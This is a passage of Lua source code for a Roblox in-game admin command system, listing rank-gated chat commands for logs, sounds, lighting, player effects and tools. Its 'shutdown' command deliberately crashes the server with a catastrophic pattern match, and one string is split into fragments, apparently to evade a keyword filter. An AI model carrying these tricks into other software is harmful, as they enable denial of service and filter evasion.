6378 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6379 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6380 end};
6381
6382 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6383 CommandLogs = {}
6384 end};
6385
6386 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6387 ChatLogs = {}
6388 end};
6389
6390 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6391 IRC.Logs = {}
6392 end};
6393
6394 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6395 CommandLogs = {}
6396 ChatLogs = {}
6397 IRC.Logs = {}
6398 end};
6399
6400 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6401 Server.GDS:SetAsync("ExploitLog", {})
6402 end};
6403
6404 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6405 local List,Correlate,SoundName = {},{},{}
6406 for Name,Info in pairs(SoundList) do
6407 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6408 table.insert(List, View)
6409 Correlate[View] = Info[1]
6410 end
6411
6412 local CanClick = true
6413 if Rank == "Member" then CanClick = false end
6414 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6415 Clicked.Event:connect(function(ClickName)
6416 local OldSoundId = nil
6417 SOUND:StopGlobalSound()
6418 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6419 SOUND:PlayGlobalSound(Correlate[ClickName])
6420 end
6421 end)
6422 end};
6423
6424 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6425 SOUND:SyncSoundList(Speaker)
6426 end};
6427
6428 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6429 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6430 if Answer == "Yes" then
6431 Server.Workspace.Terrain:Clear()
6432 end
6433 end};
6434
6435 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6436 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6437 if Answer == "Yes" then
6438 for _,Obj in pairs(Workspace:GetChildren()) do
6439 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6440 Obj:Destroy()
6441 end
6442 end
6443 end
6444 end};
6445
6446 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6447 CORE:MakeBase()
6448 end};
6449
6450 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6451 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6452 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6453 CustomSounds = {}
6454 end
6455 if tostring(Arguments[1]) then
6456 local Request = MARKET:GetItemInfo(Arguments[1])
6457 if Request.AssetTypeId == 3 then
6458 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6459 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6460 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6461 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6462 else
6463 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6464 end
6465 end
6466 end};
6467
6468 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6469 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6470 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6471 CustomSounds = {}
6472 end
6473
6474 local Removed = {}
6475 for Num,Data in pairs(CustomSounds) do
6476 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6477 table.insert(Removed, Data[1])
6478 table.remove(CustomSounds, Num)
6479 end
6480 end
6481
6482 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6483
6484 SOUND:SyncSoundList()
6485
6486 if #Removed > 0 then
6487 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6488 else
6489 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6490 end
6491 end};
6492
6493 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6494 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6495 if Answer == "Yes" then
6496 Server.GDS:SetAsync("MML Custom Sounds", {})
6497 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6498 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6499 end
6500 end};
6501
6502 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6503 local Players = STRING:Scan(Arguments[1], Speaker)
6504 local SpeakerTesting = false
6505 for _,Player in pairs(Players) do
6506 if Player == Speaker then SpeakerTesting = true end
6507 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6508 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6509 --wait(10)
6510 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6511 end)() end
6512 end
6513 if SpeakerTesting == false then
6514 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6515 end
6516 end};
6517
6518 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6519 local Players = STRING:Scan(Arguments[1], Speaker)
6520 local Compile = {}
6521 for _,Player in pairs(Players) do
6522 local PlayerInfo = ClientInfo[Player.Name]
6523 if PlayerInfo then
6524 if PlayerInfo.Benchmark then
6525 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6526 else
6527 table.insert(Compile, Player.Name..": No score")
6528 end
6529 end
6530 end
6531 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6532 end};
6533
6534 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6535 local Players = STRING:Scan(Arguments[1], Speaker)
6536 for _,Player in pairs(Players) do
6537 CORE:Chatted(Arguments[2], Player, true)
6538 end
6539 end};
6540
6541 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6542 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6543 end};
6544
6545 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6546 local Players = STRING:Scan(Arguments[1], Speaker)
6547 for _,Player in pairs(Players) do
6548 if Player.Character ~= nil then
6549 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6550 if Player.Character.Torso:FindFirstChild("Neck") then
6551 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6552 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6553 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6554 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6555 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6556 end
6557 end
6558 end
6559 end
6560 end};
6561
6562 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6563 local Players = STRING:Scan(Arguments[1], Speaker)
6564 for _,Player in pairs(Players) do
6565 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6566 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6567 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6568 end
6569 end
6570 end};
6571
6572 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6573 local Players = STRING:Scan(Arguments[1], Speaker)
6574 for _,Player in pairs(Players) do
6575 local _,RankNum = RANK:GetRank(Player)
6576 if RankNum <= RANK:ConvertRank(Rank) then
6577 CORE:FlingPlayer(Player)
6578 end
6579 end
6580 end};
6581
6582 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6583 local Players = STRING:Scan(Arguments[1], Speaker)
6584 for _,Player in pairs(Players) do
6585 local _,RankNum = RANK:GetRank(Player)
6586 if RankNum <= RANK:ConvertRank(Rank) then
6587 Flings[Player.Name] = true
6588 CORE:FlingPlayer(Player)
6589 end
6590 end
6591 end};
6592
6593 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6594 local Players = STRING:Scan(Arguments[1], Speaker)
6595 for _,Player in pairs(Players) do
6596 local _,RankNum = RANK:GetRank(Player)
6597 if RankNum <= RANK:ConvertRank(Rank) then
6598 Flings[Player.Name] = nil
6599 end
6600 end
6601 end};
6602
6603 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6604 local Players = STRING:Scan(Arguments[1], Speaker)
6605 for _,Player in pairs(Players) do
6606 CORE:Nuke(Player)
6607 end
6608 end};
6609
6610 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6611 local Players = STRING:Scan(Arguments[1], Speaker)
6612 for _,Player in pairs(Players) do
6613 Beeps[Player.Name] = true
6614 SOUND:BeepPlayer(Player)
6615 end
6616 end};
6617
6618 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6619 local Players = STRING:Scan(Arguments[1], Speaker)
6620 for _,Player in pairs(Players) do
6621 if Player.PlayerGui then
6622 Beeps[Player.Name] = nil
6623 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6624 if Obj.Name == "Annoy" then
6625 Obj:Stop()
6626 Obj:Destroy()
6627 end
6628 end
6629 end
6630 end
6631 end};
6632
6633 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6634 local Time = Arguments[1]
6635 if Time == "day" or Time == "noon" then Time = "12" end
6636 if Time == "night" or Time == "midnight" then Time = "0" end
6637 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6638 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6639 if Time == "afternoon" then Time = "15:30" end
6640 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6641 end};
6642
6643 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6644 local Players = STRING:Scan(Arguments[1], Speaker)
6645 for _,Player in pairs(Players) do
6646 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6647 end
6648 end};
6649
6650 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6651 local AbuseMode = false
6652 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6653 local Players = STRING:Scan(Arguments[1], Speaker)
6654 for _,Player in pairs(Players) do
6655 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6656 end
6657 end};
6658
6659 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6660 local Players = STRING:Scan(Arguments[1], Speaker)
6661 for _,Player in pairs(Players) do
6662 CORE:Insert(125013769, Player.Backpack, true)
6663 end
6664 end};
6665
6666 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6667 local Players = STRING:Scan(Arguments[1], Speaker)
6668 for _,Player in pairs(Players) do
6669 if Player.Character then
6670 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6671 end
6672 end
6673 end};
6674
6675 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6676 CORE:ResetLighting()
6677 repeat
6678 Server.Lighting.Ambient = Color3.new(1,1,1)
6679 Server.Lighting.FogColor = Color3.new(1,1,1)
6680 Server.Lighting.Brightness = 1
6681 Server.Lighting.TimeOfDay = 14
6682 wait(0.1)
6683 Server.Lighting.Ambient = Color3.new(0,0,0)
6684 Server.Lighting.FogColor = Color3.new(0,0,0)
6685 Server.Lighting.Brightness = 0
6686 Server.Lighting.TimeOfDay = 0
6687 wait(0.1)
6688 until ModLighting == false
6689 end};
6690
6691 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6692 CORE:ResetLighting()
6693 repeat
6694 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6695 Server.Lighting.Ambient = Color
6696 Server.Lighting.FogColor = Color
6697 Server.Lighting.TimeOfDay = 0
6698 Server.Lighting.FogEnd = 500
6699 wait(0.1)
6700 until ModLighting == false
6701 end};
6702
6703 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6704 CORE:FixLighting()
6705 end};
6706
6707 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6708 local Players = STRING:Scan(Arguments[1], Speaker)
6709 for _,Player in pairs(Players) do
6710 if Player:FindFirstChild("PlayerGui") then
6711 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6712 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6713 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6714 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6715 end
6716 end
6717 end};
6718
6719 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6720 local Players = STRING:Scan(Arguments[1], Speaker)
6721 for _,Player in pairs(Players) do
6722 if Player:FindFirstChild("PlayerGui") then
6723 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6724 end
6725 end
6726 end};
6727
6728 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6729 local Players = STRING:Scan(Arguments[1], Speaker)
6730 for _,Player in pairs(Players) do
6731 if Player:FindFirstChild("PlayerGui") then
6732 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6733 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6734 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6735 end
6736 end
6737 end};
6738
6739 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6740 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6741 if Suc then
6742 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6743 else
6744 Server.TS:Teleport(game.PlaceId, Speaker)
6745 end
6746 end};
6747
6748 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6749 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6750 end};
6751
6752 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6753 local NewAbuse = Arguments[1]
6754 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6755 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6756 end
6757
6758 local Match = false
6759 for _,AbuseCmd in pairs(Settings.AbuseList) do
6760 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6761 Match = true
6762 break
6763 end
6764 end
6765 if not Match then
6766 table.insert(Settings.AbuseList, NewAbuse)
6767 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6768 else
6769 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6770 end
6771 CORE:SetAbuseCommands()
6772 end};
6773
6774 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6775 local NewAbuse = Arguments[1]
6776 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6777 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6778 end
6779
6780 local Removed = false
6781 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6782 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6783 Removed = true
6784 table.remove(Settings.AbuseList, Num)
6785 end
6786 end
6787 if Removed then
6788 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6789 else
6790 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6791 end
6792 CORE:SetAbuseCommands()
6793 end};
6794
6795 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6796 local Players = STRING:Scan(Arguments[1], Speaker)
6797 for _,Player in pairs(Players) do
6798 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6799 Player.Character.Humanoid.MaxHealth = math.huge
6800 Player.Character.Humanoid.Health = math.huge
6801 end
6802 end
6803 end};
6804
6805 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6806 local Players = STRING:Scan(Arguments[1], Speaker)
6807 for _,Player in pairs(Players) do
6808 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6809 if Player.Character.Humanoid.MaxHealth == math.huge then
6810 Player.Character.Humanoid.MaxHealth = 100
6811 Player.Character.Humanoid.Health = 100
6812 else
6813 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6814 end
6815 end
6816 end
6817 end};
6818
6819 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6820 local Players = STRING:Scan(Arguments[1], Speaker)
6821 for _,Player in pairs(Players) do
6822 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6823 local Char = Player.Character
6824 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6825 end
6826 end
6827 end};
6828
6829 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6830 if tonumber(Arguments[2]) then
6831 local Players = STRING:Scan(Arguments[1], Speaker)
6832 for _,Player in pairs(Players) do
6833 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6834 Player.Character.Humanoid.Health = Arguments[2]
6835 end
6836 end
6837 end
6838 end};
6839
6840 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6841 if tonumber(Arguments[2]) then
6842 local Players = STRING:Scan(Arguments[1], Speaker)
6843 for _,Player in pairs(Players) do
6844 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6845 local Speed = tonumber(Arguments[2])
6846 if Speed then
6847 if Rank == "Member" then
6848 if Speed > 1000 then Speed = 1000
6849 elseif Speed < -1000 then Speed = -1000 end
6850 end
6851 Player.Character.Humanoid.WalkSpeed = Speed
6852 end
6853 end
6854 end
6855 end
6856 end};
6857
6858 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6859 if tonumber(Arguments[2]) then
6860 local Players = STRING:Scan(Arguments[1], Speaker)
6861 for _,Player in pairs(Players) do
6862 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6863 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6864 end
6865 end
6866 end
6867 end};
6868
6869 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6870 local Players = STRING:Scan(Arguments[1], Speaker)
6871 for _,Player in pairs(Players) do
6872 CORE:Fly(Player, 10000)
6873 end
6874 end};
6875
6876 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6877 local Players = STRING:Scan(Arguments[1], Speaker)
6878 for _,Player in pairs(Players) do
6879 CORE:Fly(Player, 1000000)
6880 end
6881 end};
6882
6883 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6884 local Players = STRING:Scan(Arguments[1], Speaker)
6885 for _,Player in pairs(Players) do
6886 if Player.Character then
6887 if Player.Character:FindFirstChild("StopMMLFly") then
6888 Player.Character.StopMMLFly:InvokeClient(Player)
6889 end
6890 end
6891 end
6892 end};
6893
6894 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6895 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6896 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6897 end};
6898
6899 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6900 local Players = STRING:Scan(Arguments[1], Speaker)
6901 for _,Player in pairs(Players) do
6902 CORE:GiveTools(Player, Arguments[2])
6903 end
6904 end};
6905
6906 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6907 local List = {}
6908 for _,Region in pairs(ToolRegions) do
6909 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6910 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6911 end)
6912 end
6913
6914 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6915 end};
6916
6917 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6918 local Players = STRING:Scan(Arguments[1], Speaker)
6919 for _,Player in pairs(Players) do
6920 CORE:GiveTools(Player, "btools")
6921 end
6922 end};
6923
6924 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6925 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6926 for _,Player in pairs(Server.Players:GetPlayers()) do
6927 Player:Kick()
6928 end
6929 Server.Workspace:ClearAllChildren()
6930 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6931 end};
6932
6933 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6934 local Players = STRING:Scan(Arguments[1], Speaker)
6935 for _,Player in pairs(Players) do
6936 CORE:Scale(Player, Arguments[2])
6937 end
6938 end};
6939
6940 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6941 local Players = STRING:Scan(Arguments[1], Speaker)
6942 for _,Player in pairs(Players) do
6943 CORE:Scale(Player, 50)
6944 end
6945 end};
6946
6947 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6948 local Players = STRING:Scan(Arguments[1], Speaker)
6949 for _,Player in pairs(Players) do
6950 CORE:Scale(Player, 70)
6951 end
6952 end, Hidden = true};
6953
6954 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6955 local Players = STRING:Scan(Arguments[1], Speaker)
6956 for _,Player in pairs(Players) do
6957 CORE:Scale(Player, 500)
6958 end
6959 end};
6960
6961 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6962 local Players = STRING:Scan(Arguments[1], Speaker)
6963 for _,Player in pairs(Players) do
6964 if Player.Character then
6965 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6966 Obj.Reflectance = 0.5
6967 Obj.BrickColor = BrickColor.new("New Yeller")
6968 end)
6969 end
6970 end
6971 end};
6972
6973 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6974 local Players = STRING:Scan(Arguments[1], Speaker)
6975 for _,Player in pairs(Players) do
6976 if Player.Character then
6977 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6978 Obj.Reflectance = 0.5
6979 end)
6980 end
6981 end
6982 end};
6983
6984 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6985 local Players = STRING:Scan(Arguments[1], Speaker)
6986 for _,Player in pairs(Players) do
6987 if Player.Character then
6988 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6989 Obj.Transparency = 0.5
6990 Obj.Reflectance = 0
6991 Obj.BrickColor = BrickColor.new("Institutional white")
6992 end)
6993 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6994 Obj.Transparency = 0.5
6995 end)
6996 end
6997 end
6998 end};
6999
7000 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7001 local Players = STRING:Scan(Arguments[1], Speaker)
7002 for _,Player in pairs(Players) do
7003 if Player.Character then
7004 for _,Obj in pairs(Player.Character:GetChildren()) do
7005 local Valid = false
7006 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7007 if Valid == true then Obj:Destroy() end
7008 end
7009 end
7010 end
7011 end};
7012
7013 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7014 local Players = STRING:Scan(Arguments[1], Speaker)
7015 for _,Player in pairs(Players) do
7016 if Player.Character then
7017 for _,Obj in pairs(Player.Character:GetChildren()) do
7018 local Valid = false
7019 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7020 if Valid == true then Obj:Destroy() end
7021 end
7022 end
7023 end
7024 end};
7025
